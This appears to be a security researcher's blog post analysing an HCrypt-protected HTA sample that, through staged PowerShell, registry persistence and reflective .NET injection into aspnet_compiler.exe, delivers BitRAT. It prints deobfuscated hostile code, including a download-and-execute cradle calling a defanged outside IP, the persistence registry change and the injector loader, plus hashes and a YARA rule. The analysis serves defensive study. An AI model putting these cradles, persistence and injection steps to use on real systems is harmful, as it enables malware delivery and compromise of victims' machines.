# HCrypt Injecting BitRAT using PowerShell, HTAs, and .NET

Published: 2022-01-23 · Archived: 2026-04-05 17:36:57 UTC

One of my colleagues made a statement recently about how commonplace process injection has become among malware, to the point where it seems adversaries don't have to think about the injection techniques anymore. This is absolutely true as many adversaries deploying malware have begun using crypters like HCrypt or Snip3 that inject their arbitrary payloads into other arbitrary processes. In this post I'm going to walk though analyzing a malware payload protected using HCrypt and injected into `aspnet_compiler.exe`. If you want to play along at home, the sample is available in MalwareBazaar here: https://bazaar.abuse.ch/sample/f30cba9be2a7cf581939e7e7b958d5e0554265a685b3473947bf2c26679995d3/

## Wait, Isn't Injection Complicated??

Eh, process injection can be extremely technical and complicated depending on how deeply you want to understand process internals. If you're simply looking to use process injection, there are multiple free and paid tools that will help you inject an arbitrary array of bytes into an arbitrary process's memory. In some of the paid products, all an adversary needs to do is check a box. In the case of free tools, sometimes a little bit of coding is needed.

## Triaging PS1.hta and Decoding (Stage 01)

MalwareBazaar says the sample is a HTA file, but we should still approach with caution using `file`.

```
remnux@remnux:~/cases/bitrat$ file PS1.hta
PS1.hta: HTML document, ASCII text, with very long lines, with no line terminators

remnux@remnux:~/cases/bitrat$ xxd PS1.hta | head
00000000: 3c73 6372 6970 7420 6c61 6e67 7561 6765  <script language
00000010: 3d6a 6176 6173 6372 6970 743e 646f 6375  =javascript>docu
00000020: 6d65 6e74 2e77 7269 7465 2875 6e65 7363  ment.write(unesc
00000030: 6170 6528 2725 3343 7363 7269 7074 2532  ape('%3Cscript%2
00000040: 306c 616e 6775 6167 6525 3344 2532 3256  0language%3D%22V
00000050: 4253 6372 6970 7425 3232 2533 4525 3041  BScript%22%3E%0A
00000060: 4675 6e63 7469 6f6e 2532 3076 6172 5f66  Function%20var_f
00000070: 756e 6325 3238 2532 3925 3041 4842 2532  unc%28%29%0AHB%2
00000080: 3025 3344 2532 3072 6570 6c61 6365 2532  0%3D%20replace%2
00000090: 3825 3232 706f 7725 3238 2d5f 2d25 3239  8%22pow%28-_-%29
```

Alright, it looks like we have a HTA file! The `file` magic corresponded with HTML document thanks to the `script` tags on the inside. We can even sample the contents with `xxd | head` to see the strings correspond to script tags containing JavaScript. The JavaScript inside contains `document.write()` and `unescape()` function calls. This means the actual contents of the HTA file are a bit obfuscated using URL encoding and will be deobfuscated and written into an HTML document in memory at the time of rendering. To get further we need to deobfuscate the code ourselves safely.

```
<script language=javascript>document.write(unescape('%3Cscript%20language%3D%22VBScript%22%3E%0AFunction%20...self.close%0A%3
```

Thankfully we can use a little bit of NodeJS to deobfuscate the code ourselves! Using the little bit of code below, we can write the deobfuscated HTA content into `stage02.hta`. If you want to see this approach used more, consider making a stop by this post where I decode a web shell using the same method.

```
fs = require('fs')

page = unescape('%3Cscript%20language%3D%22VBScript%22%3E%0AFunction%20...self.close%0A%3C/script%3E')

fs.writeFileSync('stage02.hta',page)
```

## Decoding PowerShell From Stage 02

Now let's dive into `stage02.hta`! The HTA contains VBScript code within the HTA script tags. There's quite a bit of string obfuscation going on here as well. First, we can tell from looking at the `HB` variable we're likely looking into a PowerShell command, and the URL in `HBB` already shows that the sample downloads additional content. The easy hypothesis here is that PowerShell will likely download content from this URL and execute it. To confirm/disprove the hypothesis we need to remove the string obfuscation. Part of the deobfuscation is really easy using find/replace functionality in a code editor of your choice. The last bit of obfuscation requires a bit more work with your eyes. The `{2}{0}{1} -f` chunks of PowerShell code correspond with PowerShell Format strings. This feature lets the developer have variable "holding spots" in the middle of a string and specify the contents of the variable after the rest of the string is defined. To deobfuscate this part, just treat the strings after `-f` like an array, and join them together in the proper order.

```
<script language="VBScript">
Function var_func()
HB = replace("pow(-_-)rsh(-_-)ll ","(-_-)","e")
HBB = "$@@@x = 'hxxp://135.148.74[.]241/PS1_B.txt';$@@@$$$=('{2}{0}{1}' -f'---------l---------888---------Nguyễn Văn Tí------
HBB = replace(HBB,"777","e")
HBB = replace(HBB,"888","o")
HBB = replace(HBB,"666","c")
HBB = replace(HBB,"+++","s")
HBB = replace(HBB,"$$$","B")
HBB = replace(HBB,"@@@","H")
HBB = replace(HBB,"Nguyễn Văn Tèo","P")
HBB = replace(HBB,"Nguyễn Văn Tí","a")
HBB = replace(HBB,"Nguyễn Văn Tủn",".")
set HBBB = GetObject(replace("new:F935DC22-1CF(-_-)-11D(-_-)-ADB9-(-_-)(-_-)C(-_-)4FD58A(-_-)B","(-_-)","0"))
Execute("HBBB.Run HB+HBB, 0, True")
End Function
var_func
self.close
</script>
```

After distilling the PowerShell command it looks like our hypothesis is confirmed! The PowerShell command creates a `Net.WebClient` object and calls `DownloadString()` to retrieve additional content. Then the content is fed into `Invoke-Expression`. Since this cmdlet is designed to execute additional arbitrary PowerShell commands, we can assume whatever gets downloaded is also PowerShell. So let's dig into `PS1_B.txt`!

```
$Hx = 'hxxp://135.148.74[.]241/PS1_B.txt';
$HB=('DownloadString');
$HBB=('Net.WebClient');
$HBBB=('IeX(New-Object $HBB).$HB($Hx)');
$HBBBBB =($HBBB -Join '')|InVoke-exPressioN
```

## Decoding PS1_B.txt PowerShell (Stage 03)

Fast-forwarding through the triage of this file, we can see it contains PowerShell code as expected. We can already see some low-hanging indicators in the content. `C:\ProgramData\381436465518137911471 1\381436465518137911471 1.HTA` is going to contain the code specified in `$FFF`. Just like the first HTA file, the content is obfuscated using URL encoding. I'm going to wager that's part of a persistence mechanism. Again, we see a URL and `Invoke-Expression`. It's probably a safe bet that the URL delivers more PowerShell code. There's also a hex-encoded string that likely contains PowerShell code. After

getting decoded into `$asciiString` the code gets executed with `iex`, an alias for `Invoke-Expression`. So let's get that cleartext string.

```
$HHxHH = "C:\ProgramData\381436465518137911 4711"
$HHHxHHH = "C:\ProgramData\381436465518137911 4711"
$hexString = "5b 73 79 73 74 65 6d 2e 69 6f 2e 64 69 72 65 63 74 6f 72 79 5d 3a 3a 43 72 65 61 74 65 44 69 72 65 63 74 6f 72
$asciiChars = $hexString -split ' ' |ForEach-Object {[char][byte]"0x$_"}
$asciiString = $asciiChars -join ''
iex $asciiString
start-sleep -s 3
$FFF = @'
<script language=javascript>document.write(unescape('%3Cscript%20language%3D%22VBScript%22%3E%0AFunction%20var_func%28%29%0A
'@
Set-Content -Path C:\ProgramData\381436465518137911 4711\381436465518137911 4711.HTA -Value $FFF

start-sleep -s 3

$Hx = 'hxxp://135.148.74[.]241/S_B.txt';
$HB=('{2}{0}{1}' -f'---------l---------o---------a---------d---------'...'')|InVokE-ExpresSioN
```

After decoding using a PowerShell console, we have the cleartext below. Sure enough, the sample contains code to create a persistence mechanism in a Windows Registry key. The value of that key leads to the HTA dropped on disk.

```
[system.io.directory]::CreateDirectory($HHxHH)
start-sleep -s 5
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value $
```

Now that we know what this stage does, let's move forward to look into `S_B.txt`!

## Decoding S_B.txt PowerShell (Stage 04/Last Stop)

In this stage we can immediately see two really large hex-encoded strings that I truncated here to keep the post manageable. The variables `$HH1` and `$H4` contain two hex strings that likely decode to Windows EXE files. We can immediately tell this because the strings start with `4D5A`, which translates from hex into the traditional `MZ` magic bytes for Windows EXE files. Further down, the adversary has a `VIP()` function that decodes text from base64 strings. Finally, there's some base64 code at the bottom of the script that has some string obfuscation inside that gets replaced/removed during runtime. If we do the replacement ourselves using find/replace we can have some legible base64 text to decode.

```
$HH1 = '4D5A9::::3 ... ::::::::::::::::::::::'.Replace(":","0")
[String]$H4='4D5A9::::3 ... :::::'.Replace(":","0")

FUNCTION VIP($9467422421889788552276)
{
    $8398517835117813353988 = "Get185965514478961238 1153ng".Replace("185965514478961238 1153","Stri");
    $4699715146936475627384 = [Text.Encoding];$7899832798818496373215 = "U76241165786257964469388".Replace("76241165786257964
    $5654519196338572648864 = "Fr"+"omBa"+"se6"+"4Str"+"ing"
    $1436688125918197238672 = $4699715146936475627384::$7899832798818496373215.$8398517835117813353988([Convert]::$565451919
    return $1436688125918197238672
}

$AAAAASXXX = '596115118597187354596 9W15961151185971 ... 185971873545969nKXx596115118597187354596 9JYEV596115118597187354596 9g
$AAAAASXXXX = VIP($AAAAASXXX);
IEX $AAAAASXXXX
```

And after decoding the text ourselves, we have the chunk of code below! This chunk of code takes the hex-encoded strings and converts them into byte arrays. This is significant for a couple reasons in malware analysis. First, if the adversary simply

wanted to execute the malware, they could run `Start-Process` or call the EXE manually. Holding the binaries as byte arrays means they're planning to use them programmatically in PowerShell or .NET code, usually with some form of injection or reflective loading. Sure enough, at the end of the script contents we can see `[Reflection.Assembly]::Load()`. This call loads the contents of the `$H5` binary into memory for use. These contents are likely a .NET DLL. The rest of the code calls the function `HHH()` from the class `HH.HH` in that loaded DLL, providing the input string containing `aspnet_compiler.exe` and the byte array `$H6` which likely contains a payload the adversary intends to inject into `aspnet_compiler.exe`. I'll cover this a bit more at the end of the post, but this style of payload delivery is incredibly common among modern crypters that adversaries use to shield their payloads. For the threat intel geeks, take note of the string `$HBAR` in the PowerShell code. This is one indicator we're looking at HCrypt.

```
[String]$H1= $HH1
Function H2 {

    [CmdletBinding()]
    [OutputType([byte[]])]
    param(
        [Parameter(Mandatory=$true)] [String]$HBAR
    )
    $H3 = New-Object -TypeName byte[] -ArgumentList ($HBAR.Length / 2)
    for ($i = 0; $i -lt $HBAR.Length; $i += 2) {
        $H3[$i / 2] = [Convert]::ToByte($HBAR.Substring($i, 2), 16)
    }

    return [byte[]]$H3
}


[Byte[]]$H5=H2 $H4
[Byte[]]$H6= H2 $H1
$H12 = 'C:\Windows\Microsoft.NET\Framework\v4.0.30\aspnet_compiler.exe'
[Reflection.Assembly]::Load($H5).GetType('HH.HH').GetMethod('HHH').Invoke($null,[object[]](,$H6))
```

Now let's get at those binaries!

Not going to lie, I cut some corners here using CyberChef. I used the Find/Replace operation followed by From Hex. Then we can save the contents out to disk and examine them.

## Decompiling the Injector

Alright, the first binary that I extracted was the .NET injection DLL held in `$H5`. The .NET code easily compiled with `ilspycmd`, but it contained a load of obfuscation. To save some time and space, I've gone ahead and included just the relevant parts below. The code contains references to `kernel32`, `LoadLibraryA`, and `GetProcAddress`. These references mean the code likely imports additional native, non-.NET DLL functions at runtime for its injection operations. We can also see the function `HHH()`, which would be a good breakpoint if we decided to get into debugging this .NET code. For the cyber threat intelligence geeks out there, there's a feature in this code to help you pivot and find more samples in VirusTotal! The GUID `8c863524-938b-4d92-a507-f7032311c0d0` can be used with VirusTotal Intelligence or Enterprise to find additional samples using the search `netguid:8c863524-938b-4d92-a507-f7032311c0d0`. To learn more about the GUID, take a look at this post in VirusBulletin: https://www.virusbulletin.com/virusbulletin/2015/06/using-net-guids-help-hunt-malware/

```
[assembly: AssemblyTitle("Bit")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Bit")]
[assembly: AssemblyCopyright("Copyright ©  2021")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("8c863524-938b-4d92-a507-f7032311c0d0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
[assembly: AssemblyVersion("1.0.0.0")]
```

```
namespace HH
{
    public static class HH
    {
        ...

        [DllImport("kernel32", EntryPoint = "LoadLibraryA", SetLastError = true)]
        private static extern IntPtr a([MarshalAs(UnmanagedType.VBByRefStr)] ref string a);

        [DllImport("kernel32", CharSet = CharSet.Ansi, EntryPoint = "GetProcAddress", ExactSpelling = true, SetLastError = t
        private static extern IntPtr b(IntPtr a, [MarshalAs(UnmanagedType.VBByRefStr)] ref string b);

        ...

        public static bool HHH(string HHHHHHHHHHBBBBBBBBBB, byte[] HHHHHHHHHHHHHHHHHHHHHHHHHHBBBBBBBBBBBBBBBBBBBBBBBBBB)
        {
            int num = 1;
            while (!d(HHHHHHHHHHBBBBBBBBBB, HHHHHHHHHHHHHHHHHHHHHHHHHHBBBBBBBBBBBBBBBBBBBBBBBBBB))
            {
                num = checked(num + 1);
                if (num > 5)
                {
                    return false;
                }
            }
            return true;
        }
```

For now, that's as much as I want to squeeze from the injector. Assuming it does its job of just injecting code, the interesting stuff will be in the second binary extracted.

### Identifying BitRAT

Once we extract the second binary and name it `payload.bin`, we can use `file` to triage it. The output says the binary was packed with UPX, and we can unpack the binary using UPX in REMnux! Using `upx -d`, we can obtain the original payload. From here we can search VirusTotal for the hashes and import hash, finding that VirusTotal has already seen the file and identifies it as malicious.

```
remnux@remnux:~/cases/bitrat$ file payload.bin
payload.bin: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed

remnux@remnux:~/cases/bitrat$ upx -d payload.bin
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   3943424 <-   1511424   38.33%    win32/pe     payload.bin

Unpacked 1 file.

remnux@remnux:~/cases/bitrat$ file payload.bin
payload.bin: PE32 executable (GUI) Intel 80386, for MS Windows

remnux@remnux:~/cases/bitrat$ pehash payload.bin
file
    filepath:   payload.bin
    md5:        e47b1f77a31d1d91625997da66bb1a94
    sha1:       e29f96b7032e2e8447cd5ae6f8aaf0ac85db8cb9
    sha256:     183809b333c8afcea627e845f08f56131ca63fe592498685d93d305207e6c07c
    ssdeep:     98304:X77Pmq33rE/JDLPWZADUGer7B6iY74M/rmlwXVZ:f+R/eZADUXR
    imphash:    71955ccbbcbb24efa9f89785e7cce225
```

To get some better attribution on the malware family, we can borrow YARA rules from the `ditekshen` on GitHub. Using the rules at https://github.com/ditekshen/detection/blob/master/yara/malware.yar we can run a YARA scan and identify BitRAT.

```
remnux@remnux:~/cases/bitrat$ yara -s malware.yar payload.bin
MALWARE_Win_BitRAT payload.bin
0x33abf0:$s1: \plg\
0x33ad70:$s3: files_delete
0x3399bc:$s9: ddos_stop
0x33abd0:$s10: socks5_srv_start
0x33adb8:$s16: klg|
0x3399ec:$s17: Slowloris
0x33ac60:$s18: Bot ID:
0x33b198:$t1: <sz>N/A</sz>
```

The exact rule it hits on is below:

```
rule MALWARE_Win_BitRAT {
   meta:
       author = "ditekSHen"
       description = "Detects BitRAT RAT"
       clamav_sig = "MALWARE.Win.Trojan.BitRAT"
   strings:
       $s1 = "\\plg\\" fullword ascii
       $s2 = "klgoff_del" fullword ascii
       $s3 = "files_delete" ascii
       $s4 = "files_zip_start" fullword ascii
       $s5 = "files_exec" fullword ascii
       $s6 = "drives_get" fullword ascii
       $s7 = "srv_list" fullword ascii
       $s8 = "con_list" fullword ascii
       $s9 = "ddos_stop" fullword ascii
       $s10 = "socks5_srv_start" fullword ascii
       $s11 = "/getUpdates?offset=" fullword ascii
       $s12 = "Action: /dlex" fullword ascii
       $s13 = "Action: /clsbrw" fullword ascii
       $s14 = "Action: /usb" fullword ascii
       $s15 = "/klg" fullword ascii
       $s16 = "klg|" fullword ascii
       $s17 = "Slowloris" fullword ascii
       $s18 = "Bot ID:" ascii
       $t1 = "<sz>N/A</sz>" fullword ascii
       $t2 = "<silent>N/A</silent>" fullword ascii
   condition:
       uint16(0) == 0x5a4d and (7 of ($s*) or (4 of ($s*) and 1 of ($t*)))
}
```

Now we've identified the payload as BitRAT using YARA from a source that is fairly reputable and used in VirusTotal's crowdsourced rules feature. If you want more details on the malware you can throw it into a sandbox to extract details and indicators.

## Injection is Commonplace Now

Looping back on the subject of injection, I want to reiterate that injection is incredibly common. Crypter products and services like HCrypt and Snip3 provide ready-made encryption functionality for adversaries to simply check boxes and execute. For injection, these crypters are going to work in a similar method:

Deploy injector -> Spawn process -> Inject byte array into process

The differences between the crypters are simply the implementation details. For Snip3, I've seen samples where the crypter delivers its injector component in obfuscated C# code and then compiles it at runtime for injection. In cases like Aggah malware threats, I've seen more samples that look like HCrypt where we have two binaries encoded in the same script. Injection isn't just for fancy stuff anymore, it's trivial for adversaries to implement.

Thanks for reading!

---